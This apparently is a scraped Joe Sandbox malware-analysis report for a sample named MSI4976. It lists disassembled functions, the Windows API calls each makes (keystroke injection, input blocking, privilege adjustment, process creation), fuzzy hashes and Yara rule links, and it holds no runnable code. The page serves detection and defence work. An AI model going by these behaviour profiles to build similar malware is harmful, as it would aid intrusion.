Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 9c6ffb94f1b800168c6e58d5e3f2ac9a7e42c71a063423647d76a0410864e167
Instruction ID: 704ae7789a7477cba661e60dfee07d107760f643e6eb2141aa8f514437493b94
Opcode Fuzzy Hash: 9c6ffb94f1b800168c6e58d5e3f2ac9a7e42c71a063423647d76a0410864e167
Instruction Fuzzy Hash: 8C216035A00618EFCB01DFA5D895AEEFBB8FF49310F148099E806AB351DB31D905CB50

Function 0036702F Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0036704C
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0036708D
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00367098

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: b6342eb56ef984b0f6c121fbb3e1f93286e6db8a936f02c5d8c965ab8239f329
Instruction ID: 29145fcdc6a63d00b3a9833209d88ab4bc9117890f62949685e900480453f56c
Opcode Fuzzy Hash: b6342eb56ef984b0f6c121fbb3e1f93286e6db8a936f02c5d8c965ab8239f329
Instruction Fuzzy Hash: 63115E71E04228BFEB118F94DC45BAEBBBCEB49B10F108152F900E7290D7B05A058BA1

Function 0033AFB4 Relevance: 3.1, APIs: 2, Instructions: 82nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

Part of subcall function 0033B155: GetWindowLongW.USER32(?,000000EB), ref: 0033B166

GetParent.USER32(?), ref: 0039F4B5
NtdllDialogWndProc_W.NTDLL(?,00000133,?,?,?,?,?,?,?,?,0033ADDD,?,?,?,00000006,?), ref: 0039F52F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: LongWindow$DialogNtdllParentProc_
String ID:
API String ID: 314495775-0
Opcode ID: 33720a2246800abf95db54a318ecc9cd08013fc0916f7c7208accd0f107bd26d
Instruction ID: 03eb34c9cdf1f07b9e858dc85a267cc545bfaec9c029420258cc1e25050f3a43
Opcode Fuzzy Hash: 33720a2246800abf95db54a318ecc9cd08013fc0916f7c7208accd0f107bd26d
Instruction Fuzzy Hash: 00216535600154AFCF3B9F28D888AEA7BA6AF06364F194264F6258B2F2D7709E11D750

Function 0038F45A Relevance: 3.0, APIs: 2, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0038F47D
NtdllDialogWndProc_W.NTDLL(?,00000200,?,?,?,?,?,?,?,0039F42E,?,?,?,?,?), ref: 0038F4A6

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ClientDialogNtdllProc_Screen
String ID:
API String ID: 3420055661-0
Opcode ID: 16470ec06e600f5f984dc23319f01fbee414996bb54f81f795bf06e9c2eb1575
Instruction ID: d6e81ad5f09d04d125dbf307ebe476aae541089e0ddc142428e9dea8639d6d65
Opcode Fuzzy Hash: 16470ec06e600f5f984dc23319f01fbee414996bb54f81f795bf06e9c2eb1575
Instruction Fuzzy Hash: D8F01772410118BFEB069F95DC099AE7BBCFF49351F14405AF902A2160D7B5AA51AB60

Function 0036D712 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,0037C2E2,?,?,00000000,?), ref: 0036D73F
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,0037C2E2,?,?,00000000,?), ref: 0036D751

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 9d9fed2e90a19aaff2ac4e87dd4a07d5b01be77cd17bcdd745e50826964dcfcf
Instruction ID: 049a178d749490974dae2fa366af68beedbf1676b31a9cbc4bcca61614b8a40e
Opcode Fuzzy Hash: 9d9fed2e90a19aaff2ac4e87dd4a07d5b01be77cd17bcdd745e50826964dcfcf
Instruction Fuzzy Hash: 71F08C3550032DABDB22AFA4DC49FEA776CEF4A361F008125B94AD6191D6709A40CBA1

Function 00364B52 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00364B89
keybd_event.USER32(?,753DC0D0,?,00000000), ref: 00364B9C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: f6ae49066469b93925d7511582142c36bb698f95ab4a434f7cbdb4f012968382
Instruction ID: 863dd2161314d48b93a3da30aa60a9fb730622f578751e1fd370a6eb5535299a
Opcode Fuzzy Hash: f6ae49066469b93925d7511582142c36bb698f95ab4a434f7cbdb4f012968382
Instruction Fuzzy Hash: 8AF01D7090424DAFDB068FA5C805BBE7FB8EF05305F04C409F995A6191D779C6159F94

Function 0035B8B0 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000), ref: 0035B8C5
CloseHandle.KERNEL32(?), ref: 0035B8D7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: d50a90d278768705be49a3476b2905d445f42d9fdf0ce22b03fc44f216a6437c
Instruction ID: b7d87d6b8afac72537fcd20cc4a1570ac397fa54e418011ee74967d3b497252e
Opcode Fuzzy Hash: d50a90d278768705be49a3476b2905d445f42d9fdf0ce22b03fc44f216a6437c
Instruction Fuzzy Hash: A6E0E676004511AFE7272B50EC45D77B7EDEF05311B118419F55689870D7716CD1DB10

Function 0038F594 Relevance: 3.0, APIs: 2, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0038F59C
NtdllDialogWndProc_W.NTDLL(?,00000084,00000000,?,?,0039F3AD,?,?,?,?), ref: 0038F5C6

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 684dd92d136c4c58934d2db48172bc445a19834ea53db3907b18e5f48d1e6404
Instruction ID: 434908dfa07cc5fb921fe2ab2bd966e50fb7dd1572e829088e8347af246c6456
Opcode Fuzzy Hash: 684dd92d136c4c58934d2db48172bc445a19834ea53db3907b18e5f48d1e6404
Instruction Fuzzy Hash: 77E08C70104218BBEB161F09DC1AFB93B58EB02B50F108626F917C84E0D7B089A0D760

Function 00348E3C Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,0032125D,00347A43,00320F35,?,?,00000001), ref: 00348E41
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00348E4A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b1002036e4d9c8faa931733208a05cfbda7f5a000bf86d44d160587c2cf04d8d
Instruction ID: 96342b671dda3b1a0cb2541a55c53f9076dc01b4bc2c7ad296cf2871e0caca9e
Opcode Fuzzy Hash: b1002036e4d9c8faa931733208a05cfbda7f5a000bf86d44d160587c2cf04d8d
Instruction Fuzzy Hash: DBB09275044A08ABEE026BA1EC09B883F6CEB0BB62F004010F61E448A08BA354508E92

Function 0035113E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6185fb346d98807f7c979cd5ad5473beba7da1075082a70b350a895c84ba701b
Instruction ID: 0375f62b2ee0a7ad48df1a901161b0c6a17b2a74226dc37bb59a9b6905b28bda
Opcode Fuzzy Hash: 6185fb346d98807f7c979cd5ad5473beba7da1075082a70b350a895c84ba701b
Instruction Fuzzy Hash: FCB1E320E2AF514DD723A6398831336B65CAFBB3D9F91D71BFD1A74D62EB2185834180

Function 003902AA Relevance: 1.6, APIs: 1, Instructions: 64nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

NtdllDialogWndProc_W.NTDLL(?,00000112,?,?), ref: 00390352

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 907aafb1bd32cb471acf3096ca2beaee4738292796d5acfddaec8c155eb5595b
Instruction ID: 6604a28c6d4ab28836358168d7ad68cd66651a1109f6cc5215f000c1d7a1709d
Opcode Fuzzy Hash: 907aafb1bd32cb471acf3096ca2beaee4738292796d5acfddaec8c155eb5595b
Instruction Fuzzy Hash: 48112335204265AFEF2B6F2CCC85F7D3B68EB41760F644314F9125E5E2CA708D00D2A9

Function 0038E769 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0033B155: GetWindowLongW.USER32(?,000000EB), ref: 0033B166

CallWindowProcW.USER32(?,?,00000020,?,?), ref: 0038E7AF

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$CallLongProc
String ID:
API String ID: 4084987330-0
Opcode ID: 7e92c19691a8bb91bb342a1066c8c1d8d3d2e6ad281c801b5067d304525b0f14
Instruction ID: f54dd74f17c6481faf40fdaff71d84e8189d31058828042f2924a882f1e30a18
Opcode Fuzzy Hash: 7e92c19691a8bb91bb342a1066c8c1d8d3d2e6ad281c801b5067d304525b0f14
Instruction Fuzzy Hash: 9FF0FF35204208EFCF06AF54DC44DB93BAAEB05360F044554FD158A6A1D7329D60EB50

Function 0038EA4E Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

Part of subcall function 0033B736: GetCursorPos.USER32(000000FF), ref: 0033B749
Part of subcall function 0033B736: ScreenToClient.USER32(00000000,000000FF), ref: 0033B766
Part of subcall function 0033B736: GetAsyncKeyState.USER32(00000001), ref: 0033B78B
Part of subcall function 0033B736: GetAsyncKeyState.USER32(00000002), ref: 0033B799

NtdllDialogWndProc_W.NTDLL(?,00000204,?,?,00000001,?,?,?,0039F417,?,?,?,?,?,00000001,?), ref: 0038EA9C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AsyncState$ClientCursorDialogLongNtdllProc_ScreenWindow
String ID:
API String ID: 2356834413-0
Opcode ID: d19611a002737a7077294a0c07cf9bb62e484923d57cf09c636ecb8efdfa595f
Instruction ID: b4edf4eb765c22388782211229df85b54901540da3473566a2a7d1b835acd3fa
Opcode Fuzzy Hash: d19611a002737a7077294a0c07cf9bb62e484923d57cf09c636ecb8efdfa595f
Instruction Fuzzy Hash: 99F08C31200229ABDB16AF19CC4AABE3BA5FB01B90F044015F91A1E1A1D77A9861DBE1

Function 0033B7F2 Relevance: 1.5, APIs: 1, Instructions: 28nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

NtdllDialogWndProc_W.NTDLL(?,00000006,?,?,?,?,0033AF40,?,?,?,?,?), ref: 0033B83B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: a54619512ac6836d79e16bcf274353bdee7845620bd443a84951f8bad8026063
Instruction ID: ec394ab4381296747be4e6b6313413acb611d52bf1c3c4b75f581d0a680a496d
Opcode Fuzzy Hash: a54619512ac6836d79e16bcf274353bdee7845620bd443a84951f8bad8026063
Instruction Fuzzy Hash: 51F05E306002599FDF1A9F15D8D19393BAAFB05360F144329F9528F2E1D771D850DB50

Function 0037703C Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00377057

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: dc7a4972f490009e1372d4ca212d7e3a62e77c5c3d7307638f764c904e620adf
Instruction ID: 4396cc0028b5a3ef92d089dd55ed14b0f9f644ff68ad59fb183afcdaf8645355
Opcode Fuzzy Hash: dc7a4972f490009e1372d4ca212d7e3a62e77c5c3d7307638f764c904e620adf
Instruction Fuzzy Hash: 7BE048763142145FD711DF69D408D96F7DC9F55750F01C426F949D7251DAB4E9008B90

Function 0038F3DA Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL(?,00000232,?,?), ref: 0038F41A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 85ca7c0eb7db713f39c1996161d0625f849a01401b049e2d50a7d08635986ccb
Instruction ID: 191a238029ee0a471b897e26379be741184923b1c621d5c35e47eaccc83edde6
Opcode Fuzzy Hash: 85ca7c0eb7db713f39c1996161d0625f849a01401b049e2d50a7d08635986ccb
Instruction Fuzzy Hash: 7EF06D32200399AFDB22EF58DC45FC67BA9FB06360F044559FA116B2E1CB706820D764

Function 0033AC99 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

NtdllDialogWndProc_W.NTDLL(?,00000007,?,00000000,00000000,?,?), ref: 0033ACC7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 9eb65f59f70db4ccc873bfed04cf60924e8e902bd4afbbd91b2f83b9e650193a
Instruction ID: 1a5e10c9cb5f9967f4500e5099db4763dfd6ab535c41056fc10850b19f27293f
Opcode Fuzzy Hash: 9eb65f59f70db4ccc873bfed04cf60924e8e902bd4afbbd91b2f83b9e650193a
Instruction Fuzzy Hash: 9CE01235600208FBCF16AF90DC91E683B2AFF49394F108518F6464F6E1CB33A522EB51

Function 0038F425 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL(?,00000053,?,?,?,0039F3D4,?,?,?,?,?,?), ref: 0038F450

Part of subcall function 0038E13E: _memset.LIBCMT ref: 0038E14D
Part of subcall function 0038E13E: _memset.LIBCMT ref: 0038E15C
Part of subcall function 0038E13E: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,003E3EE0,003E3F24), ref: 0038E18B
Part of subcall function 0038E13E: CloseHandle.KERNEL32 ref: 0038E19D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
